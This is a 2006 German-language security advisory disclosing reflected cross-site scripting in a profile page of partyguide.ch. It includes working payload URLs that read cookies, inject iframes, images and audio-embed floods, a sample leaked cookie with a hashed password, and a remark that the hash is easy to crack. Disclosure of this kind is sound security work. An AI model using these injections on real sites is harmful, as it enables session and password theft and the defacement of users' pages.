PartyGuide.ch - XSS Vulnerabilities [Sicherheitslücke - Exploit]
descovered and published by Yannick von Arx, berne switzerland
yannick[dot]vonarx[at]yanux[dot]ch
Saturday, April 29, 2006
Website: www.partyguide.ch
Hersteller: PartyGuide.ch GmbH
Verion:
n/a
Remote: Ja, Direkt
Klasse: Cross Site Scripting (XSS)
Erläuterung der Erkenntnisse und vorliegender Problematik:
=====
Ein gültiger Link zu einem Profil sieht so aus:
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796
Zusehen ist dass die User-Details des Members mit der ID 137796 abgefragt und angezeigt werden. In unserem Fall ist dies mein persönliches Profil! "my_pic_member_id=137796" entspricht also dem User "yanux".
Nun ist es möglich diesen Link zum Profil mittels JavaScript zu erweitern um eine Cross Site Scripting Attacke (XSS) durchzuführen. Um dies zu tun schreiben wir folgende Zeile:
<script>alert(document.cookie)</script>
Wir versuchen nun das gesetzte Cookie von PartyGuide auszulesen, welches Passwörter und weiteres verrät. Die Sonderzeichen der obigen Zeile müssen zuerst Browsergerecht umgeschrieben werden und sehen zum Schluss so aus:
%3Cscript%3Ealert(document.cookie)%3C/script%3E
Setzen wir dieses Script an den regulären Link dran...
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796%3Cscript%3Ealert(document.cookie)%3C/script%3E
...geschieht nicht viel! Nur die vorhanden Grafiken (Profil-Bild und Voting-Grafik) werden nicht mehr angezeigt. Um nun eine vollwertige XSS-Attacke durchzuführen müssen wir noch unseren Link um %22 ergänzen, das Endergebniss wie folgt:
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796%22%3Cscript%3Ealert(document.cookie)%3C/script%3E
Führen wir nun diesen Link aus erhalten wir mehrere PopUp-Fenster welche uns unsere folgende Daten ausgeben: PHPSESSID, bblastvisit, c_geburtsdatum_jahr, plz, c_kanton, c_geschlecht, c_staff, c_ip, c_id, c_psw.
Neben der IP-Adresse ist wohl c_psw das interessanteste, denn dies entspicht dem gesetzten Login-Passwort. Jedoch ist die Ausgabe durch einen MD5-Hash verschlüsselt, welchen sich in Minuten resp. Stunden knacken lässt.
Die vollständige Ausgabe sieht so aus (kritische Angaben wurden geändert):
PHPSESSID=b04e518ac154ca9aa7cde62fcb9e8948;
bblastvisit=2911955742;
c_geburtsdatum_jahr=1988;
c_plz=3044;
c_kanton=BE;
c_geschlecht=m;
c_staff=1;
c_ip=80.218.000.000;
c_id=137796;
c_psw=5f4dcc3b5aa765d61d8327deb882cf99;
Sind die PopUp-Fenster weg geklickt sieht man nun auch zusätzliche vorübergehende Verunstaltungen durch unsere XSS Attacke. Wirre Ausgaben wie...
[&profil=YanuX&myrating=3">Wow!] [&profil=YanuX&myrating=2">Herzig] [&profil=YanuX&myrating=1">Nicht mein Typ]
&network=2">
&msg_id=&">
&ref=&Event_ID=">.jpg">
&ref=&Event_ID=">Alle Fotos
&username=YanuX">Alle myPics
... und Weiteres sind das Ergebniss.
Wird hinter den regulären Link ein Anführungszeichen gesetzt also...
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796"
... ist der Kreativität keine Grenzen setzt und natives HTML ist möglich...
<b> ; <i> ; <u> ; <hr>
<img src=[http://www.url.com/bild.jpg]>
<iframe width=300 height=400>[http://www.url.com]</iframe>
... tausend seitiges Scrollen wird durch Höhen- und Breiten-Definierung Realität. Überfluten resp. Spamen mit verlinkten Bildern noch dazu!
Folgende Links sollen demonstrieren was etwas möglich ist:
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796"<img%20src=http://www.yanux.ch/knowledges/logo.jpg>
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796"<iframe%20width=3000%20height=4000>www.yanux.ch</iframe>
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796%22%script%3EProof%20of%20concept!Proof%20of%20concept!
Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20co
ncept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20o
f%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!
Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20co
ncept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20o
f%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!%2
0Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20
concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%20of%20concept!Proof%
20of%20concept!Proof%20of%20concept!Proof%20of%20concept!
Es ist ebenfalls möglich Links einzubauen welche nach aktivierung Programme ausführen und programmierte Abläufe (Aufgaben) selbstständig tätigen. Als kleines Beispiel...
<a href=mailto:name@domain.com>Profildetails anzeigen</a>
...klickt der Anwender auf den Link "Profildetails anzeigen" öffnet sich zB. Microsoft Outlook, Apple Mail, etc...
Mit dem Embed-Tag ist es möglich etwas zu integrieren dass an diesem Ort nicht existiert und somit jedesmal ein Frame integriert wird welches die PartyGuide.ch NOT FOUND Page anzeigt.
http://www.partyguide.ch/user_details.php?my_pic_member_id=137796"<embed%20src="test.mp3"height="1"%20width="1"autostart<em
bed%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"auto
start="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed%20src="test.
mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"autostart="true"%20lo
op="1000"><embed%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20
width="1"autostart="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed
%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"autosta
rt="true"%20loop="1000"><embed%20src="test.mp3"height="1"%20width="1"autostart="true"%20loop="1000">="true"%20loop="1000">
Problemlösung:
=====
Zur Zeit liegt keine Lösung von PartyGuide.ch vor.
Das Wieso:
=====
Es gibt Computer-Spezialisten die ihr Wissen und Können
nutzen um anderen zu Schaden! Jedoch gibt es auch solche die ihr Wissen und
ihre Kenntnisse nutzen um die heutige Computer-Welt etwas sicherer zu machen.